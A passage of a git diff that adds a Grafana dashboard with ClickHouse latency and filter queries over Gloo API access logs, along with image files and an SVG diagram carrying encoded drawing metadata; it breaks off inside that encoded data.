gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time\n\n", + "refId": "p25", + "selectedFormat": 1 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "\nSELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.5)(CAST(LogAttributes['response_duration'] AS INT)) as p50\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p50" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.75)(CAST(LogAttributes['response_duration'] AS INT)) as p75\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p75" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.90)(CAST(LogAttributes['response_duration'] AS INT)) as p90\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p90" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.95)(CAST(LogAttributes['response_duration'] AS INT)) as p95\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p95" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.99)(CAST(LogAttributes['response_duration'] AS INT)) as p99\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p99" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.999)(CAST(LogAttributes['response_duration'] AS INT)) as p999\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p999" + } + ], + "title": "Request latency", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "(.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + } + ], + "repeat": "api_id", + "repeatDirection": "h", + "title": "API '$api_id' Stats", + "type": "row" + } + ], + "refresh": "", + "schemaVersion": 38, + "style": "dark", + "tags": [], + "templating": { + "list": [ + { + "allValue": "", + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "Select DISTINCT (LogAttributes['api_id'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['api_id'] IS NOT NULL AND\n LogAttributes['api_id'] != '' AND\n LogAttributes['api_id'] != ''", + "description": "Api ID", + "hide": 0, + "includeAll": true, + "label": "Api ID", + "multi": true, + "name": "api_id", + "options": [], + "query": "Select DISTINCT (LogAttributes['api_id'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['api_id'] IS NOT NULL AND\n LogAttributes['api_id'] != '' AND\n LogAttributes['api_id'] != ''", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "allValue": "", + "current": { + "selected": true, + "text": [ + "gold" + ], + "value": [ + "gold" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "Select DISTINCT(LogAttributes['usage_plan'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['usage_plan'] IS NOT NULL AND\n LogAttributes['usage_plan'] != '' AND\n LogAttributes['usage_plan'] != ''", + "description": "Usage Plan", + "hide": 0, + "includeAll": true, + "label": "Usage Plan", + "multi": true, + "name": "usage_plan", + "options": [], + "query": "Select DISTINCT(LogAttributes['usage_plan'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['usage_plan'] IS NOT NULL AND\n LogAttributes['usage_plan'] != '' AND\n LogAttributes['usage_plan'] != ''", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['request_uri']) requestUri from gloo_api_logs", + "description": "Request path", + "hide": 0, + "includeAll": true, + "label": "Request URI", + "multi": true, + "name": "request_uri", + "options": [], + "query": "select distinct(LogAttributes['request_uri']) requestUri from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['request_command']) as requestCommand from gloo_api_logs", + "hide": 0, + "includeAll": true, + "label": "HTTP Method", + "multi": true, + "name": "http_method", + "options": [], + "query": "select distinct(LogAttributes['request_command']) as requestCommand from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 0, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['status_code']) as statusCode from gloo_api_logs", + "hide": 0, + "includeAll": true, + "label": "Status Code", + "multi": true, + "name": "status_code", + "options": [], + "query": "select distinct(LogAttributes['status_code']) as statusCode from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "allValue": "All", + "current": { + "selected": false, + "text": "All", + "value": "$__all" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['user_id']) as userId from gloo_api_logs\nwhere userId like '$filter_users%' AND userId != ''\nLIMIT 100", + "hide": 0, + "includeAll": true, + "label": "User ID", + "multi": false, + "name": "user_id", + "options": [], + "query": "select distinct(LogAttributes['user_id']) as userId from gloo_api_logs\nwhere userId like '$filter_users%' AND userId != ''\nLIMIT 100", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": false, + "text": "", + "value": "" + }, + "hide": 0, + "label": "Filter Users", + "name": "filter_users", + "options": [ + { + "selected": true, + "text": "", + "value": "" + } + ], + "query": "", + "skipUrlSync": false, + "type": "textbox" + } + ] + }, + "time": { + "from": "now-1h", + "to": "now" + }, + "timepicker": {}, + "timezone": "", + "title": "API Dashboard", + "uid": "db93be88-8cd4-4c32-8a37-83fbca40e3f0", + "version": 1, + "weekStart": "" + } \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/.gitkeep b/gloo-mesh/gateway/2-4/airgap/portal/images/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-gateway.png b/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-gateway.png new file mode 100644 index 0000000000..71255deb29 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-gateway.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-mesh-enterprise.png b/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-mesh-enterprise.png new file mode 100644 index 0000000000..a14bc9e23f Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-mesh-enterprise.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-mesh-graph.png b/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-mesh-graph.png new file mode 100644 index 0000000000..e17c49c138 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-mesh-graph.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-products.png b/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-products.png new file mode 100644 index 0000000000..f45b1660b9 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/gloo-products.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcY